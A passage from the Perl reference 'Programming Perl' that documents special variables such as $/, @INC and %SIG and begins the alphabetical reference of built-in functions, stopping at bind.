[FHA] The current page length (printable lines) of the currently selected output handle, for use with format and write. Default is 60. (Mnemonic: = has horizontal lines.)

format_line_break_characters HANDLE EXPR
$FORMAT_LINE_BREAK_CHARACTERS
$:

[ALL] The current set of characters after which a string may be broken to fill continuation fields (starting with ^) in a format. Default is " \n-", to break on whitespace or hyphens. (Mnemonic: a colon is a technical word meaning part of a line in poetry. Now you just have to remember the mnemonic...)

format_name HANDLE EXPR
$FORMAT_NAME
$~

[FHA] The name of the current report format for the currently selected output handle. Default is the filehandle's name. (Mnemonic: takes a turn after $^.)

format_page_number HANDLE EXPR
$FORMAT_PAGE_NUMBER
$%

[FHA] The current page number of the currently selected output handle, for use with format and write. (Mnemonic: % is the page number register in troff(1). What, you don't know what troff is?)

format_top_name HANDLE EXPR
$FORMAT_TOP_NAME
$^

[FHA] The name of the current top-of-page format for the currently selected output handle. Default is name of the filehandle with _TOP appended. (Mnemonic: points to top of page.)

$^H

[NOT,LEX] This variable contains lexically scoped status bits (a.k.a. hints) for the Perl parser. This variable is strictly for internal use only. Its availability, behavior, and contents are subject to change without notice. If you touch it, you will undoubtedly die a horrible death of some loathsome tropical disease unknown to science. (Mnemonic: we won't give you a hint.)

%^H

[NOT,LEX] The %^H hash provides the same lexical scoping semantics as $^H, making it useful for implementation of lexically scoped pragmas. Read the dire warnings listed under $^H, and then add to them the fact that this variable is still experimental.

%INC

[ALL] The hash containing entries for the filename of each Perl file loaded via do FILE, require, or use. The key is the filename you specified, and the value is the location of the file actually found. The require operator uses this array to determine whether a given file has already been loaded. For example:

% perl -MLWP::Simple -le 'print $INC{"LWP/Simple.pm"}'
/opt/perl/5.6.0/lib/site_perl/LWP/Simple.pm

@INC

[ALL] The array containing the list of directories where Perl modules may be found by do FILE, require, or use. It initially consists of the arguments to any -I command-line switches and directories in the PERL5LIB environment variable, followed by the default Perl libraries, such as:

/usr/local/lib/perl5/5.6.0/sun4-solaris
/usr/local/lib/perl5/5.6.0
/usr/local/lib/perl5/site_perl/5.6.0/sun4-solaris
/usr/local/lib/perl5/site_perl/5.6.0
/usr/local/lib/perl5/site_perl/5.00552/sun4-solaris
/usr/local/lib/perl5/site_perl/5.00552
/usr/local/lib/perl5/site_perl/5.005/sun4-solaris
/usr/local/lib/perl5/site_perl/5.005
/usr/local/lib/perl5/site_perl
followed by ".", to represent the current directory. If you need to modify this list from within your program, try the use lib pragma, which not only modifies the variable at compile time, but also adds in any related architecture-dependent directories (such as those that contain the shared libraries used by XS modules):
use lib "/mypath/libdir/";
use SomeMod;

$INPLACE_EDIT
$^I

[ALL] The current value of the inplace-edit extension. Use undef to disable inplace editing. You can use this from within your program to get the same behavior as the -i switch provides. For example, to do the equivalent of this command:

% perl -i.orig -pe 's/foo/bar/g' *.c
you can use the following equivalent code in your program:
local $^I   = '.orig';
local @ARGV = glob("*.c");
while (<>) {
    s/foo/bar/g;
    print;
}
(Mnemonic: value of the -i switch.)

$INPUT_LINE_NUMBER
$NR
$.

[ALL] The current record number (usually line number) for the last filehandle you read from (or called seek or tell on). The value may be different from the actual physical line number in the file, depending on what notion of "line" is in effect--see $/ ($INPUT_RECORD_SEPARATOR) on how to affect that. An explicit close on a filehandle resets the line number. Because <> never does an explicit close, line numbers increase across ARGV files (but see examples under eof). Localizing $. also localizes Perl's notion of "the last read filehandle". (Mnemonic: many programs use "." to mean the current line number.)

$INPUT_RECORD_SEPARATOR
$RS
$/

[ALL] The input record separator, newline by default, which is consulted by the readline function, the <FH> operator, and the chomp function. It works like awk's RS variable, and, if set to the null string, treats one or more blank lines as a record terminator. (But a blank line must contain no hidden spaces or tabs.) You may set it to a multicharacter string to match a multicharacter terminator, but you may not set it to a pattern--awk has to be better at something.

Note that setting $/ to "\n\n" means something slightly different than setting it to "", if the file contains consecutive blank lines. Setting it to "" will treat two or more consecutive blank lines as a single blank line. Setting it to "\n\n" means Perl will blindly assume that a third newline belongs to the next paragraph.

Entirely undefining $/ makes the next line input operation slurp in the remainder of the file as one scalar value:

undef $/;           # enable whole-file mode
$_ = <FH>;          # whole file now here
s/\n[ \t]+/ /g;     # fold indented lines
If you're using the while (<>) construct to access ARGV handle while $/ is undefined, each read gets the next file:
undef $/;
while (<>) {        # $_ has the whole next file in it
    ...
}

Although we used undef above, it's safer to undefine $/ using local:

{
    local $/;
    $_ = <FH>;
}

Setting $/ to a reference to either an integer, a scalar containing an integer, or a scalar that's convertible to an integer will make readline and <FH> operations read in fixed-length records (with the maximum record size being the referenced integer) instead of variable-length record terminated by a particular string. So this:

$/ = \32768; # or \"32768" or \$scalar_var_containing_32768
open(FILE, $myfile);
$record = <FILE>;
will read a record of no more than 32,768 bytes from the FILE handle. If you're not reading from a record-oriented file (or your operating system doesn't have record-oriented files), then you'll likely get a full chunk of data with every read. If a record is larger than the record size you've set, you'll get the record back in pieces. Record mode mixes well with line mode only on systems where standard I/O supplies a read(3) function; VMS is a notable exception.

Calling chomp when $/ is set to enable record mode--or when it is undefined--has no effect. See also the -0 (the digit) and the -l (the letter) command-line switches in Chapter 19, "The Command-Line Interface". (Mnemonic: / is used to separate lines when quoting poetry.)

@ISA

[PKG] This array contains names of other packages to look through when a method call cannot be found in the current package. That is, it contains the base classes of the package. The use base pragma sets this implicitly. It is not exempt from use strict. See Chapter 12, "Objects".

@LAST_MATCH_END
@+

This array holds the offsets of the ends of the last successful submatches in the currently active dynamic scope. $+[0] is the offset of the end of the entire match. This is the same value the pos function returns when called on the variable that was matched against. (When we say "offset of the end", we really mean the offset to the first character following the end of whatever matched, so that we can subtract beginning offsets from end offsets and arrive at the length.) The nth element of this array holds the offset of the nth submatch, so $+[1] is the offset where $1 ends, $+[2] the offset where $2 ends, and so on. You can use $#+ to determine how many subgroups were in the last successful match. See also @_ (@LAST_MATCH_START).

After a successful match against some variable $var:

  • $` is the same as substr($var, 0, $-[0])
  • $& is the same as substr($var, $-[0], $+[0] - $-[0])
  • $' is the same as substr($var, $+[0])
  • $1 is the same as substr($var, $-[1], $+[1] - $-[1])
  • $2 is the same as substr($var, $-[2], $+[2] - $-[2])
  • $3 is the same as substr($var, $-[3], $+[3] - $-[2]), and so on.
@LAST_MATCH_START
@-

[DYN,RO] This array holds the offsets of the beginnings of the last successful submatches in the currently active dynamic scope. $-[0] is the offset of the beginning of the entire match. The nth element of this array holds the offset of the nth submatch, so $-[1] is the offset where $1 begins, $-[2] the offset where $2 begins, and so on. You can use $#- to determine how many subgroups were in the last successful match. See also @+ (@LAST_MATCH_END).

$LAST_PAREN_MATCH
$+

[DYN,RO] This returns the last parenthesized submatch from the last successful pattern in the currently active dynamic scope. This is useful when you don't know (or care) which of a set of alternative patterns matched. (Mnemonic: be positive and forward looking.) Example:

$rev = $+   if /Version: (.*)|Revision: (.*)/;

$LAST_REGEXP_CODE_RESULT
$^R

[DYN] This contains the result of the last snippet of code executed inside a successful pattern with the (?{ CODE }) construct. $^R gives you a way to execute code and remember the result for use later in the pattern, or even afterward.

As the Perl regular expression engine moves through the pattern, it may encounter multiple (?{ CODE }) expressions. As it does, it remembers each value of $^R so that if it later has to backtrack past an expression, it restores the previous value of $^R. In other words, $^R has a dynamic scope within the pattern, much like $1 and friends.

So $^R is not simply the result of the last snippet of code executed inside a pattern. It's the result of the last snippet of code leading to a successful match. A corollary is that if the match was not successful, $^R will be restored to whatever value it had before the match occurred.

If the (?{ CODE }) pattern is functioning directly as the conditional of a (?(COND)IFTRUE|IFFALSE) subpattern, $^R is not set.

$LIST_SEPARATOR
$"

[ALL] When an array or slice is interpolated into a double-quoted string (or the like), this variable specifies the string to put between individual elements. Default is a space. (Mnemonic: obvious, one hopes.)

$^M

[ALL] By default, running out of memory is not trappable. However, if your perl was compiled to take advantage of $^M, you may use it as an emergency memory pool. If your Perl is compiled with -DPERL_EMERGENCY_SBRK and uses Perl's malloc, then:

$^M = 'a' x (1 << 16);
would allocate a 64K buffer for emergency use. See the INSTALL file in the Perl source distribution directory for information on how to enable this option. As a disincentive to casual use of this advanced feature, there is no use English long name for this variable (and we won't tell you what the mnemonic is).

$MATCH
$&

[DYN,RO] The string matched by the last successful pattern match in the currently active dynamic scope. (Mnemonic: like & in some editors.)

$OLD_PERL_VERSION
$]

[ALL] Returns the version + patchlevel/1000. It can be used to determine at the beginning of a script whether the Perl interpreter executing the script is in the right range of versions. (Mnemonic: is this version of Perl in the right bracket?) Example:

warn "No checksumming!\n" if $] < 3.019;
die "Must have prototyping available\n" if $] < 5.003;
See also the documentation of use VERSION and require VERSION for a convenient way to fail if the Perl interpreter is too old. See $^V for a more flexible UTF-8 representation of the Perl version.

$OSNAME
$^O

[ALL] This variable contains the name of the platform (usually the operating system) the current perl binary was compiled for. It's a cheap alternative to pulling it out of the Config module.

$OS_ERROR
$ERRNO
$!

[ALL] If used in a numeric context, yields the current value of the last syscall error, with all the usual caveats. (This means that you shouldn't depend on the value of $! to be anything in particular unless you've gotten a specific error return indicating a system error.) If used in a string context, $! yields the corresponding system error string. You can assign an error number to $! if, for instance, you want $! to return the string for that particular error, or you want to set the exit value for die. See also the Errno module in Chapter 32, "Standard Modules". (Mnemonic: what just went bang?)

%OS_ERROR
%ERRNO
%!

[ALL] This hash is defined only if you've loaded the standard Errno module described in Chapter 32, "Standard Modules". Once you've done this, you can subscript into %! using a particular error string, and its value is true only if that's the current error. For example, $!{ENOENT} is true only if the C errno variable is currently set to the C #define value, ENOENT. This is convenient for accessing vendor-specific symbols.

autoflush HANDLE EXPR
$OUTPUT_AUTOFLUSH
$AUTOFLUSH
$|

[FHA] If set to true, forces a buffer flush after every print, printf, and write on the currently selected output handle. (We call this command buffering. Contrary to popular belief, setting this variable does not turn off buffering.) The default is false, which on many systems means that STDOUT will be line buffered if output is to the terminal, and block buffered otherwise, even on pipes and sockets. Setting this variable is useful when you are outputting to a pipe, such as when you are running a Perl script under rsh(1) and want to see the output as it's happening. If you have pending, unflushed data in the currently selected filehandle's output buffer when this variable is set to true, that buffer will be immediately flushed as a side-effect of assignment. See the one-argument form of select for examples of controlling buffering on filehandles other than STDOUT. (Mnemonic: when you want your pipes to be piping hot.)

This variable has no effect on input buffering; for that, see getc in Chapter 29, "Functions" or the example in the POSIX module in Chapter 32, "Standard Modules".

$OUTPUT_FIELD_SEPARATOR
$OFS
$,

[ALL] The output field separator (terminator, actually) for print. Ordinarily, print simply prints out the list elements you specify without anything between them. Set this variable as you would set awk's OFS variable to specify what is printed between fields. (Mnemonic: what is printed when there is a "," in your print statement.)

$OUTPUT_RECORD_SEPARATOR
$ORS
$\

[ALL] The output record separator (terminator, actually) for print. Ordinarily, print simply prints out the comma-separated fields you specify, with no trailing newline or record separator assumed. Set this variable as you would set awk's ORS variable to specify what is printed at the end of the print. (Mnemonic: you set $\ instead of adding "\n" at the end of the print. Also, it's just like /, but it's what you get "back" from Perl.) See also the -l (for "line") command-line switch in Chapter 19, "The Command-Line Interface".

%OVERLOAD

[NOT,PKG] This hash's entries are set internally by the use overload pragma to implement operator overloading for objects of the current package's class. See Chapter 13, "Overloading".

$PERLDB
$^P

[NOT,ALL] The internal variable for enabling the Perl debugger (perl -d).

$PERL_VERSION
$^V

[ALL] The revision, version, and subversion of the Perl interpreter, represented as a binary "version string". V-strings don't generally have a a numeric value, but this variable is dual-valued, and has a numeric value equivalent to the old $] variable; that is, a floating-point number that amounts to revision + version/1000 + subversion/1,000,000. The string value is made of UTF-8 characters: chr($revision) . chr($version) . chr($subversion). This means that $^V is not printable. To print it, you have to say:

printf "%vd", $^V;
On the plus side, it also means that ordinary string comparison can be used to determine whether the Perl interpreter executing your script is in the right range of versions. (This applies to any version numbers represented with v-strings, not just Perl's.) Example:
warn "No 'our' declarations!\n" if $^V lt v5.6;
See the documentation of use VERSION and require VERSION for a convenient way to fail if the running Perl interpreter is older than you were hoping. See also $] for the original representation of the Perl version.

$POSTMATCH
$'

[DYN,RO] The string following whatever was matched by the last successful pattern in the currently active dynamic scope. (Mnemonic: ' often follows a quoted string.) Example:

$_ = 'abcdefghi';
/def/;
print "$`:$&:$'\n";         # prints abc:def:ghi
Thanks to dynamic scope, Perl can't know which patterns will need their results saved away into these variables, so mentioning $` or $' anywhere in a program incurs a performance penalty on all pattern matches throughout the program. This isn't much of an issue in small programs, but you probably should avoid this pair when you're writing reusable module code. The example above can be equivalently recoded like this, but without the global performance hit:
$_ = 'abcdefghi';
/(.*?)(def)(.*)/s;          # /s in case $1 contains newlines
print "$1:$2:$3\n";         # prints abc:def:ghi

$PREMATCH
$`

[DYN,RO] The string preceding whatever was matched by the last successful pattern in the currently active dynamic scope. (Mnemonic: ` often precedes a quoted string.) See the performance note under $' previously.

$PROCESS_ID
$PID
$$

[ALL] The process number (PID) of the Perl running this script. This variable is automatically updated upon a fork. In fact, you can even set $$ yourself; this will not, however, change your PID. That would be a neat trick. (Mnemonic: same as in the various shells.)

You need to be careful not to use $$ anywhere it might be misinterpreted as a dereference: $$alphanum. In this situation, write ${$}alphanum to distinguish it from ${$alphanum}.

$PROGRAM_NAME
$0

[ALL] Contains the name of the file containing the Perl script being executed. Assignment to $0 is magical: it attempts to modify the argument area that the ps(1) program normally reports on. This is more useful as a way of indicating the current program state than it is for hiding the program you're running. But it doesn't work on all systems. (Mnemonic: same as sh, ksh, bash, etc.)

$REAL_GROUP_ID
$GID
$(

[ALL] The real group ID (GID) of this process. If you are on a platform that supports simultaneous membership in multiple groups, $( gives a space-separated list of groups you are in. The first number is the one returned by getgid(2), and the subsequent ones by getgroups(2), one of which may be the same as the first number.

However, a value assigned to $( must be a single number used to set the real GID. So the value given by $( should not be assigned back to $( without being forced to be numeric, such as by adding zero. This is because you can have only one real group. See $) ($EFFECTIVE_GROUP_ID) instead, which allows you to set multiple effective groups.

(Mnemonic: parentheses are used to group things. The real GID is the group you left, if you're running setgid.)

$REAL_USER_ID
$UID
$<

[ALL] The real user ID (UID) of this process as returned by the getuid(2) syscall. Whether and how you can modify this is subject to the vagaries of your system's implementation--see examples under $> ($EFFECTIVE_USER_ID). (Mnemonic: it's the UID you came from, if you're running setuid.)

%SIG

[ALL] The hash used to set signal handlers for various signals. (See the section "Signals" in Chapter 16, "Interprocess Communication".) For example:

sub handler {
    my $sig = shift;   # 1st argument is signal name
    syswrite STDERR, "Caught a SIG$sig--shutting down\n";
                       # Avoid standard I/O in async handlers to suppress
                       # core dumpage.  (Even that string concat is risky.)
    close LOG;         # This calls standard I/O, so may dump core anyway!
    exit 1;            # But since we're exiting, no harm in trying.
}

$SIG{INT}  = \&handler;
$SIG{QUIT} = \&handler;
...
$SIG{INT}  = 'DEFAULT';    # restore default action
$SIG{QUIT} = 'IGNORE';     # ignore SIGQUIT
The %SIG hash contains undefined values corresponding to those signals for which no handler has been set. A handler may be specified as a subroutine reference or as a string. A string value that is not one of the two special actions "DEFAULT" or "IGNORE" is the name of a function, which, if unqualified by package, is interpreted to be the main package. Here are some other examples:
$SIG{PIPE} = "Plumber";   # okay, assumes main::Plumber
$SIG{PIPE} = \&Plumber;   # fine, use Plumber from current package

Certain internal hooks can also be set using the %SIG hash. The routine indicated by $SIG{__WARN__} is called when a warning message is about to be printed. The warning message is passed as the first argument. The presence of a __WARN__ hook causes the ordinary printing of warnings to STDERR to be suppressed. You can use this to save warnings in a variable or to turn warnings into fatal errors, like this:

local $SIG{__WARN__} = sub { die $_[0] };
eval $proggie;
This is similar to saying:
use warnings qw/FATAL all/;
eval $proggie;
except that the first has dynamic scope, whereas the second has lexical scope.

The routine indicated by $SIG{__DIE__} provides a way to turn a frog exception into a prince exception with a magical kiss, which often doesn't work. The best use is for a moribund program that's about to die of an untrapped exception to do some last-moment processing on its way out. You can't save yourself this way, but you can give one last hurrah.

The exception message is passed as the first argument. When a __DIE__ hook routine returns, exception processing continues as it would have in the absence of the hook, unless the hook routine itself exits via a goto, a loop exit, or a die. The __DIE__ handler is explicitly disabled during the call, so that you yourself can then call the real die from a __DIE__ handler. (If it weren't disabled, the handler would call itself recursively forever.) The handler for $SIG{__WARN__} works similarly.

Only the main program should set $SIG{__DIE__}, not modules. That's because currently, even exceptions that are being trapped still trigger a $SIG{__DIE__} handler. This is strongly discouraged because of its potential for breaking innocent modules who aren't expecting their predicted exceptions to be mysteriously altered. Use this feature only as a last resort, and if you must, always put a local on the front to limit the period of danger.

Do not attempt to build an exception-handling mechanism on this feature. Use eval {} to trap exceptions instead.

STDERR

[ALL] The special filehandle for standard error in any package.

STDIN

[ALL] The special filehandle for standard input in any package.

STDOUT

[ALL] The special filehandle for standard output in any package.

$SUBSCRIPT_SEPARATOR
$SUBSEP
$;

[ALL] The subscript separator for multidimensional hash emulation. If you refer to a hash element as:

$foo{$a,$b,$c}
it really means:
$foo{join($;, $a, $b, $c)}
But don't put:
@foo{$a,$b,$c}      # a slice--note the @
which means:
($foo{$a},$foo{$b},$foo{$c})
The default is "\034", the same as SUBSEP in awk. Note that if your keys contain binary data, there might not be any safe value for $;. (Mnemonic: comma--the syntactic subscript separator--is a semi-semicolon. Yeah, we know, it's pretty lame, but $, is already taken for something more important.)

Although we haven't deprecated this feature, you should instead consider using "real" multidimensional hashes now, such as $foo{$a}{$b}{$c} instead of $foo{$a,$b,$c}. The fake ones may be easier to sort, however, and are much more amenable to use as DBM files.

$SYSTEM_FD_MAX
$^F

[ALL] The maximum "system" file descriptor, ordinarily 2. System file descriptors are passed to new programs during an exec, while higher file descriptors are not. Also, during an open, system file descriptors are preserved even if the open fails. (Ordinary file descriptors are closed before the open is attempted and stay closed if the open fails.) Note that the close-on-exec status of a file descriptor will be decided according to the value of $^F at the time of the open, not the time of the exec. Avoid this by temporarily jacking $^F through the roof first:

{
    local $^F = 10_000;
    pipe(HITHER,THITHER) or die "can't pipe: $!";
}

$VERSION

[PKG] This variable is accessed whenever a minimum acceptable version of a module is specified, as in use SomeMod 2.5. If $SomeMod::VERSION is less than that, an exception is raised. Technically, it's the UNIVERSAL->VERSION method that looks at this variable, so you could define your own VERSION function in the current package if you want something other than the default behavior. See Chapter 12, "Objects".

$WARNING
$^W

[ALL] The current Boolean value of the global warning switch (not to be confused with the global warming switch, about which we hear many global warnings). See also the use warnings pragma in Chapter 31, "Pragmatic Modules", and the -W and -X command-line switches for lexically scoped warnings, which are unaffected by this variable. (Mnemonic: the value is related to the -w switch.)

${^WARNING_BITS}

[NOT,ALL] The current set of warning checks enabled by the use warnings pragma. See usewarnings in Chapter 31, "Pragmatic Modules" for more details.

${^WIDE_SYSTEM_CALLS}

[ALL] Global flag that enables all syscalls made by Perl to use wide-character APIs native to the system, if available. This can also be enabled from the command line using the -C command-line switch. The initial value is typically 0 for compatibility with Perl versions earlier than 5.6, but may be automatically set to 1 by Perl if the system provides a user-settable default (such as via $ENV{LC_CTYPE}). The use bytes pragma always overrides the effect of this flag in the current lexical scope.

Now brace yourself for a big chapter...

Previous | Home | Next
28.1. Special Names Grouped by Type | Book Index | 29. Functions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Functions (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 29. Functions

Contents:

Perl Functions by Category
Perl Functions in Alphabetical Order

This chapter describes the built-in Perl functions in alphabetical order[1] for convenient reference. Each function description begins with a brief summary of the syntax for that function. Parameter names like THIS represent placeholders for actual expressions, and the text following the syntax summary will describe the semantics of supplying (or omitting) the actual arguments.

[1] Sometimes tightly related functions are grouped together in the system manpages, so we respect that grouping here. To find the description of endpwent, for instance, you'll have to look under getpwent.

You can think of functions as terms in an expression, along with literals and variables. Or you can think of them as prefix operators that process the arguments after them. We call them operators half the time anyway.

Some of these operators, er, functions take a LIST as an argument. Elements of the LIST should be separated by commas (or by =>, which is just a funny kind of comma). The elements of the LIST are evaluated in a list context, so each element will return either a scalar or a list value, depending on its sensitivity to list context. Each returned value, whether scalar or list, will be interpolated as part of the overall sequence of scalar values. That is, all the lists get flattened into one list. From the viewpoint of the function receiving the arguments, the overall argument LIST is always a single-dimensional list value. (To interpolate an array as a single element, you must explicitly create and interpolate a reference to the array instead.)

Predefined Perl functions may be used either with or without parentheses around their arguments; the syntax summaries in this chapter omit the parentheses. If you do use parentheses, the simple but occasionally surprising rule is this: if it looks like a function, then it is a function, so precedence doesn't matter. Otherwise, it's a list operator or unary operator, and precedence does matter. Be careful, because even if you put whitespace between the keyword and its left parenthesis, that doesn't keep it from being a function:

print 1+2*4;       # Prints 9.
print(1+2) * 4;    # Prints 3!
print (1+2)*4;     # Also prints 3!
print +(1+2)*4;    # Prints 12.
print ((1+2)*4);   # Prints 12.
If you run Perl with the -w switch, it will warn you about this. For example, the second and third lines above produce messages like this:
print (...) interpreted as function at - line 2.
Useless use of integer multiplication in void context at - line 2.
Given the simple definition of some functions, you have considerable latitude in how you pass arguments. For instance, the most common way to use chmod is to pass the file permissions (the mode) as an initial argument:
chmod 0644, @array;
but the definition of chmod just says:
chmod LIST
so you could just as well say:
unshift @array, 0644;
chmod @array;
If the first argument of the list is not a valid mode, chmod will fail, but that's a run-time semantic problem unrelated to the syntax of the call. If the semantics require any special arguments to be passed first, the text will describe these restrictions.

In contrast to the simple LIST functions, other functions impose additional syntactic constraints. For instance, push has a syntax summary that looks like this:

push ARRAY, LIST
This means that push requires a proper array as its first argument, but doesn't care about its subsequent arguments. That's what the LIST at the end means. (LISTs always come at the end, since they gobble up all remaining values.) Whenever a syntax summary contains any arguments before the LIST, those arguments are syntactically distinguished by the compiler, not just semantically distinguished by the interpreter when it runs later. Such arguments are never evaluated in list context. They may be evaluated in scalar context, or they may be special referential arguments such as the array in push. (The description will tell you which is which.)

For those operations that are based directly on the C library's functions, we do not attempt to duplicate your system's documentation. When a function description says to see function(2), that means that you should look up the corresponding C version of that function to learn more about its semantics. The number in parentheses indicates the section of the system programmer's manual in which you will find the manpage, if you have the manpages installed. (And in which you won't, if you don't.)

These manpages may document system-dependent behavior like shadow password files, access control lists, and so forth. Many Perl functions that derive from C library functions in Unix are emulated even on non-Unix platforms. For example, although your operating system might not support the flock(2) or fork(2) syscalls, Perl will do its best to emulate them anyway by using whatever native facilities your platform provides.

Occasionally, you'll find that the documented C function has more arguments than the corresponding Perl function. Generally, the missing arguments are things that Perl knows already, such as the length of the previous argument, so you needn't supply them in Perl. Any remaining disparities are caused by the different ways Perl and C specify filehandles and success/failure values.

In general, functions in Perl that serve as wrappers for syscalls of the same name (like chown(2), fork(2), closedir(2), etc.) all return true when they succeed and undef otherwise, as mentioned in the descriptions that follow. This is different from the C library's interfaces to these operations, which all return -1 on failure. Exceptions to this rule are wait, waitpid, and syscall. Syscalls also set the special $! ($OS_ERROR) variable on failure. Other functions do not, except accidentally.

For functions that can be used in either scalar or list context, failure is generally indicated in scalar context by returning a false value (usually undef) and in list context by returning the null list. Successful execution is generally indicated by returning a value that will evaluate to true (in context).

Remember the following rule: there is no rule that relates the behavior of a function in list context to its behavior in scalar context, or vice versa. It might do two totally different things.

Each function knows the context in which it was called. The same function that returns a list when called in list context will, when called in scalar context, return whichever kind of value would be most appropriate. Some functions return the length of the list that would have been returned in list context. Some operators return the first value in the list. Some functions return the last value in the list. Some functions return the "other" value, when something can be looked up either by number or by name. Some functions return a count of successful operations. In general, Perl functions do exactly what you want, unless you want consistency.

One final note: we've tried to be very consistent in our use of the terms "byte" and "character". Historically, these terms have been confused with each other (and with themselves). But when we say "byte" we always mean an octet, 8 bits. When we say "character", we mean an abstract character, usually a Unicode character, which may be represented by one or more bytes within your strings.

But notice that we said "usually". Perl purposefully confuses bytes with characters in the scope of a use bytes declaration, so whenever we say "character", you should take it to mean a byte in a use bytes context, and a Unicode character otherwise. In other words, use bytes just warps the definition of character back to what it was in older versions of Perl. So, for instance, when we say that a scalar reverse reverses a string character by character, don't ask us whether that really means characters or bytes, because the answer is, "Yes, it does."

29.1. Perl Functions by Category

Here are Perl's functions and function-like keywords, arranged by category. Some functions appear under more than one heading.

Scalar manipulation

chomp, chop, chr, crypt, hex, index, lc, lcfirst, length, oct, ord, pack, q//, qq//, reverse, rindex, sprintf, substr, tr///, uc, ucfirst, y///

Regular expressions and pattern matching

m//, pos, qr//, quotemeta, s///, split, study

Numeric functions

abs, atan2, cos, exp, hex, int, log, oct, rand, sin, sqrt, srand

Array processing

pop, push, shift, splice, unshift

List processing

grep, join, map, qw//, reverse, sort, unpack

Hash processing

delete, each, exists, keys, values

Input and output

binmode, close, closedir, dbmclose, dbmopen, die, eof, fileno, flock, format, getc, print, printf, read, readdir, readpipe, rewinddir, seek, seekdir, select (ready file descriptors), syscall, sysread, sysseek, syswrite, tell, telldir, truncate, warn, write

Fixed-length data and records

pack, read, syscall, sysread, sysseek, syswrite, unpack, vec

Filehandles, files, and directories

chdir, chmod, chown, chroot, fcntl, glob, ioctl, link, lstat, mkdir, open, opendir, readlink, rename, rmdir, select (ready file descriptors), select (output filehandle), stat, symlink, sysopen, umask, unlink, utime

Flow of program control

caller, continue, die, do, dump, eval, exit, goto, last, next, redo, return, sub, wantarray

Scoping

caller, import, local, my, no, our, package, use

Miscellaneous

defined, dump, eval, formline, lock, prototype, reset, scalar, undef, wantarray

Processes and process groups

alarm, exec, fork, getpgrp, getppid, getpriority, kill, pipe, qx//, setpgrp, setpriority, sleep, system, times, wait, waitpid

Library modules

do, import, no, package, require, use

Classes and objects

bless, dbmclose, dbmopen, package, ref, tie, tied, untie, use

Low-level socket access

accept, bind, connect, getpeername, getsockname, getsockopt, listen, recv, send, setsockopt, shutdown, socket, socketpair

System V interprocess communication

msgctl, msgget, msgrcv, msgsnd, semctl, semget, semop, shmctl, shmget, shmread, shmwrite

Fetching user and group information

endgrent, endhostent, endnetent, endpwent, getgrent, getgrgid, getgrnam, getlogin, getpwent, getpwnam, getpwuid, setgrent, setpwent

Fetching network information

endprotoent, endservent, gethostbyaddr, gethostbyname, gethostent, getnetbyaddr, getnetbyname, getnetent, getprotobyname, getprotobynumber, getprotoent, getservbyname, getservbyport, getservent, sethostent, setnetent, setprotoent, setservent

Time

gmtime, localtime, time, times

Previous | Home | Next
28.2. Special Variables in Alphabetical Order | Book Index | 29.2. Perl Functions in Alphabetical Order
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl Functions in Alphabetical Order (Programming Perl)

 Book Home Programming PerlSearch this book

29.2. Perl Functions in Alphabetical Order

Many of the following function names are annotated with, um, annotations. Here are their meanings:

Uses $_ ($ARG) as a default variable.

Sets $! ($OS_ERROR) on syscall errors.

Raises exceptions; use eval to trap $@ ($EVAL_ERROR).

Sets $? ($CHILD_ERROR) when child process exits.

Taints returned data.

Taints returned data under some system, locale, or handle settings.

Raises an exception if given an argument of inappropriate type.

Raises an exception if modifying a read-only target.

Raises an exception if fed tainted data.

Raises an exception if unimplemented on current platform.

Functions that return tainted data when fed tainted data are not marked, since that's most of them. In particular, if you use any function on %ENV or @ARGV, you'll get tainted data.

Functions marked with raise an exception when they require, but do not receive, an argument of a particular type (such as filehandles for I/O operations, references for blessing, etc.).

Functions marked with sometimes need to alter their arguments. If they can't modify the argument because it's marked read-only, they'll raise an exception. Examples of read-only variables are the special variables containing data captured during a pattern match and variables that are really aliases to constants.

Functions marked with may not be implemented on all platforms. Although many of these are named after functions in the Unix C library, don't assume that just because you aren't running Unix, you can't call any of them. Many are emulated, even those you might never expect to see--such as fork on Win32 systems, which works as of the 5.6 release of Perl. For more information about the portability and behavior of system-specific functions, see the perlport manpage, plus any platform-specific documentation that came with your Perl port.

Functions that raise other miscellaneous exceptions are marked with , including math functions that throw range errors, such as sqrt(-1).

29.2.1. abs

abs VALUE
abs
This function returns the absolute value of its argument.
$diff = abs($first - $second);
Note: here and in subsequent examples, good style (and the use strict pragma) would dictate that you add a my modifier to declare a new lexically scoped variable, like this:
my $diff = abs($first - $second);
However, we've omitted my from most of our examples for clarity. Just assume that any such variable was declared earlier, if that cranks your rotor.

29.2.2. accept

accept SOCKET, PROTOSOCKET
This function is used by server processes that wish to listen for socket connections from clients. PROTOSOCKET must be a filehandle already opened via the socket operator and bound to one of the server's network addresses or to INADDR_ANY. Execution is suspended until a connection is made, at which point the SOCKET filehandle is opened and attached to the newly made connection. The original PROTOSOCKET remains unchanged; its only purpose is to be cloned into a real socket. The function returns the connected address if the call succeeds, false otherwise. For example:
unless ($peer = accept(SOCK, PROTOSOCK)) {
    die "Can't accept a connection: $!\n";
}
On systems that support it, the close-on-exec flag will be set for the newly opened file descriptor, as determined by the value of $^F ($SYSTEM_FD_MAX).

See accept(2). See also the example in the section "Sockets" in Chapter 16, "Interprocess Communication".

29.2.3. alarm

alarm EXPR
alarm
This function sends a SIGALRM signal to the current process after EXPR seconds.

Only one timer may be active at once. Each call disables the previous timer, and an EXPR of 0 may be supplied to cancel the previous timer without starting a new one. The return value is the amount of time remaining on the previous timer.

print "Answer me within one minute, or die: ";
alarm(60);             # kill program in one minute
$answer = <STDIN>;
$timeleft = alarm(0);  # clear alarm
print "You had $timeleft seconds remaining\n";
It is usually a mistake to intermix alarm and sleep calls, because many systems use the alarm(2) syscall mechanism to implement sleep(3). On older machines, the elapsed time may be up to one second less than you specified because of how seconds are counted. Additionally, a busy system may not get around to running your process immediately. See Chapter 16, "Interprocess Communication" for information on signal handling.

For alarms of finer granularity than one second, you might be able to use the syscall function to access setitimer(2) if your system supports it. The CPAN module, Timer::HiRes, also provides functions for this purpose.

29.2.4. atan2

atan2 Y, X
This function returns the principal value of the arc tangent of Y/X in the range - [image] to [image]. A quick way to get an approximate value of [image] is to say:
$pi = atan2(1,1) * 4;
For the tangent operation, you may use the tan function from either the Math::Trig or the POSIX modules, or just use the familiar relation:
sub tan { sin($_[0]) / cos($_[0]) }

29.2.5. bind

bind SOCKET, NAME
